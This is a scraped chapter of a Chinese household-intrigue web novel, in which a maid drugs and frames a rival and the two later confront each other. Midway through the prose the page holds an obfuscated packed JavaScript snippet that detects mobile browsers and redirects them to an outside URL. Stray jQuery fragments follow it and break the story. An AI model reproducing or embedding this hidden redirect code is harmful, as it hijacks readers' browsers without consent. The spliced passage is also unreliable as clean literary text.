102.摊牌

作品:《碧桃花谢春意晚

    昨天夜里,春桃得到谷雨的情报后,立刻叫了翩翩来,让她去找春秧,让春秧给她“弄”一包迷药来。


    按照以往对付谷雨母女的惯例,春秧当然知道这包迷药得靠白向晚才能弄得到,于是又一溜烟的跑去了蕴绿轩,白向晚手底下的人弄到了迷药,交给春秧,春秧又把药给了翩翩。


    在她们弄迷药的档口儿,春桃将小蕊儿叫来了她自己的卧房,让小蕊儿借着给灵棋房中的茶炉子添水的机会,将药下在了专属灵棋的那壶水里。


    与春桃通过声气的秋鸾,则是以大丫鬟的身份,出口将翩翩留在她们屋里。


    夜深之后,秋鸾去找值夜的婆子训话,吸引她们的注意力,就在这训话的档口儿,春秧和翩翩去灵棋屋子里,把睡死过去的灵棋“偷渡”出了宜兰院,一路把人抬到大老爷安置的前院书房,让灵棋在大老爷的床上睡了一晚上,还顺便偷走了灵棋贴身带的秋香色帕子。


    早上,秋鸾在到前院来服侍之前,将两方绣帕拿给吕姨娘身边的小丫鬟,说是府上发下来的,一条颜色素净,一条便是那条灵棋的手帕,性子轻浮的吕姨娘自然选用了那条质量和做工都更为上乘的秋香色帕子。


    所以灵棋一早醒来,发现自己竟置身于大老爷的书房,又惊又吓,慌忙逃窜回宜兰院。


    她深居后宅,对白大老爷在前朝的事不清楚,并不知道大老爷的行踪,因此并不能确定自己睡在大老爷床上这事,大老爷是没回来所以压根儿不知道,还是回来了看见了又出于什么原因并未碰她。


    总之,她有一定的可能被大老爷误会她是想爬床。


    白天,又看见了吕姨娘拿着她的帕子,灵棋更是吓得六神无主,以为是吕姨娘知道了她睡在书房这事,并且捏住了她的把柄。因为吕姨娘常去前院伺候大老爷,所以极有可能一大清早去过前院,发现她在大老爷床上,拿走了她的帕子,并在白天大大咧咧拿在手上用以要挟她。


    这无论是哪一种,一旦让庄氏知道了,那于她而言都是灭顶之灾。


    虽然这其间有诸多可疑之处,但事发突然,容不得她多想,灵棋也不敢去赌她没有被人发现这微弱的可能,毕竟,她的手帕可是确确实实的丢了,并且落在了吕姨娘的手上。


    所以灵棋害怕之余,便开始想退路了,跑到前院去找崔奶奶求援。


    这要庄氏不疑心她,最保险的方式就是把自己摘出庄氏的控制范围。灵棋早已到了嫁龄,赶紧说定一户人家,并且尽快把自己嫁出去,那哪怕庄氏后来无论是经由大老爷还是吕姨娘之口知道了这事,她彼时已经嫁作他人妇,也就没有再追究的必要了。


    所以灵棋和崔奶奶一番商议之后,就定了城北田庄上的范家,一来这范家全家都在庄子上效力,离庄氏的控制范围远一些,二来范家有一位行将就木的老祖母,死前最大的愿望就是看到大孙子成家立业,所以以为这位祖母冲喜为借口,速速议定亲事也不易引人怀疑。


    商量好之后,崔奶奶迅速打发了自己儿子去范家,透露了结亲的意思。


    这范家一早便想娶白府一位体面的大丫鬟来光耀门楣,一听崔家要给灵棋说亲事,忙不迭的就带着媒人来了,生怕落于人后。


    能和白家的公庄庄头联姻,这也有利于庄氏从李氏那里抢夺管家权,所以崔奶奶下午来求庄氏的恩典,领灵棋去相看,庄氏便也答应了。


    自此,春桃的计划算是彻底成功,用时一天都不到。


    春桃也是庆幸,要不是秋鸾支持,小蕊儿机灵,翩翩听话,春秧实干,这次针对灵棋的“釜底抽薪”计划,多半不会成功,那她也就只有被崔家算计死的命了。


    春桃漱了漱口,道:“什么时候还得寻个由头从吕姨娘那里把那方帕子拿回来,不然落个把柄在外面终归不好。”


    “这还不简单,”秋鸾也放下了汤碗,笑道,“就说那帕子原本是太太的,错拿给吕姨娘了,让小丫鬟找个时机,谎称丢了,给拿回来不就成了。”


    春桃也点了点头表示认同。


    灵棋躲出去的这几日,金奴儿尚且不知道发生了什么,还满以为崔家娶春桃的婚事是板上钉钉了,见了春桃,尾巴又翘了起来,口气不善的样子活像一只斗鸡。


    “等你落在我哥哥手里,看你还有什么本事张狂。”


    春桃悲天悯人的瞥了她一眼,难得善良的开口劝了她一句:“你就不想想,你大伯家也有几个哥哥,怎么灵棋偏让这婚事落在你的哥哥头上?你真以为她是留了个便宜给你们家捡呢?你们一家子怎么都那么蠢?”


    金奴儿愣住,继而恼羞成怒道:“你少胡搅蛮缠了,先想想你自己想怎么死吧,我哥会成全你的。”


    春桃见好言难劝该死的鬼,也就翻了个白眼再不理会她了。


    几日过后,灵棋见风浪过去,照旧回来当差,只是与她一同回来的,还有她与范庄头儿子定亲的消息。


    与春桃所料的不错,范庄头的老娘年事已高,希望大孙子能尽快成亲,所以灵棋也就是在庄氏跟前再服侍个几天,意思意思,就要被母家崔家接回去待嫁了。


    到底是觅得良人的喜事,所以白府一众丫鬟也都向灵棋道了贺,灵棋则是面上笑颜应承,心里简直苦涩的要滴出血来。


    这一众往来恭贺的人里,自然也包含春桃。


    “恭贺姐姐大喜了,婚期这样紧,不知嫁仪预备的如何了?可有我能帮着添置的?”灵棋彼时正在整理包袱,一回过头,便瞧见春桃笑盈盈站在她房门口,明眸善睐,顾盼神飞,端的是一副胜利者的姿态,手上拿着一方秋香色的锦帕,更让她心神震荡。


    灵棋几乎是在一瞬间就猜出来她几天前倒大霉是被春桃所害,继而被算计的愤怒、轻易就被她吓住的懊恼、没来得及调查清楚就误定终身的遗憾,和木已成舟再难翻身的郁闷,一时间轮番轰炸她的心田。


    如果不是还要维持着体面,灵棋真的很想此刻就扑上去活撕了春桃。


    见她不做反应,春桃倒是笑的眉目生花:“呦,新嫁娘倒是与我们生疏起来了,姐姐可愿与我去园子里散散心吗?”


    灵棋自然是知道,春桃还有话想问她,眼下春桃独大的局面是再也难以回转了,于是她闭了闭眼睛,颤抖的唇角强行扯出一抹笑意,道:“好啊。”


    其实自从春桃被提拔上来后,灵棋与她倒经常一起独处办差事


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17458342|187624||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,只是如今千帆过尽,胜负已分,纵然还像从前那般并肩而行,却已经一方胜券在握,一方落寞颓唐,哪还有昔日的滋味。


    春桃不急着开口,灵棋自然也不愿与她废话,反而恍惚的一瞬间,让她想起自己和素织还小的时候,也曾这样一起在白府的各处奔走,只是那样的时光,已经久远到有些模糊。


    灵棋后知后觉的意识到,她和素织这个发小相处的时间,还不如和春桃这个仇人在一起表演虚假姐妹花的时间长。


    灵棋这下是真的有些情绪低落了。


    “我与姐姐姐妹一场,原也指望能得姐姐栽培,和和睦睦的在太太身边侍奉。却不想,人事易变,成了如今这幅样子,说来也唏嘘得很。”


    灵棋闻言讽笑道:“当初如何,如今又如何?”


    “当初姐姐提点教诲,纵有些小心思,也不过是小儿女之争,如今姐姐雷厉风行,多少性命折损你手,妹妹我真是怕极了——要是哪天也着了姐姐的道儿,岂不万事皆休?”


    这话说的露骨,灵棋顿了步子,冷脸甩了春桃一巴掌。


    “你知道你在说什么吗?”


    春桃也不躲,而是摸着脸颊,扬起一丝微笑,接着像闲聊般开口道:“哎呦,让我算算,姐姐足智多谋——音书是你谮毁的吧?我从进宜兰院之后所遭受的一切,磋磨、责打、外调,将四小姐的事祸水东引到我头上、田庄上让崔万海带人围堵我、前些日子你二婶婶算计我,可都是因为你吧?明儿被撵是因为你吧?还有素织,你连素织都利用,姐姐啊姐姐,你可真是让妹妹我佩服得骨头发冷啊。”


    春桃越说越兴奋,越说越恨意翻涌,快步倒着走在灵棋前面,一边掰指头算,一边简直要为灵棋鼓起掌来。


    “我没想过要害死音书,只是想在大太太跟前告她一状,撵她出去罢了,我又怎么能知道她怀了孕?说到底,还是她自己命不好罢了。至于其他人,能死在我手上而不是大太太手上,她们真应该感谢我。何况——”灵棋话锋一转,轻蔑笑道,“妹妹也不遑多让啊,这样阴狠的算计,难为你费心筹谋,简直是要青出于蓝了。”


    春桃就当她是在夸自己,笑道:“姐姐承让了,妹妹我也是为了自保而已,毕竟太太严苛,姐姐又恨我,我又能怎么办?与其将来让姐姐负我,不如我先负姐姐。”


    炎夏的风吹过来,带着让人心烦的热意。


    灵棋看着眼前这个明媚耀眼的女孩,清清楚楚的认识到,她的城府,她的心计,她的报复心,都是被自己一点一点栽培出来的。


    从见到她的第一眼,她就知道,她会是自己的劫难。


    多少次的提防,多少次的算计,最终都在即将成功的时候让她躲过一劫,让她跌足长恨。


    以至于她成了她的心魔,她要扳倒她,不论她失去了什么,最终剑走偏锋,泥足深陷。


    以致今日,自己最终栽在了她的手上,这一切的一切,竟都是她当初自己选的,如何不能让人感慨一句命运使然。


    宁我负人,毋人负我,好好好,春桃,你也算是出师了。


    “那我就祝妹妹,能在白家这活死人墓里一路高歌猛进,心愿得偿。”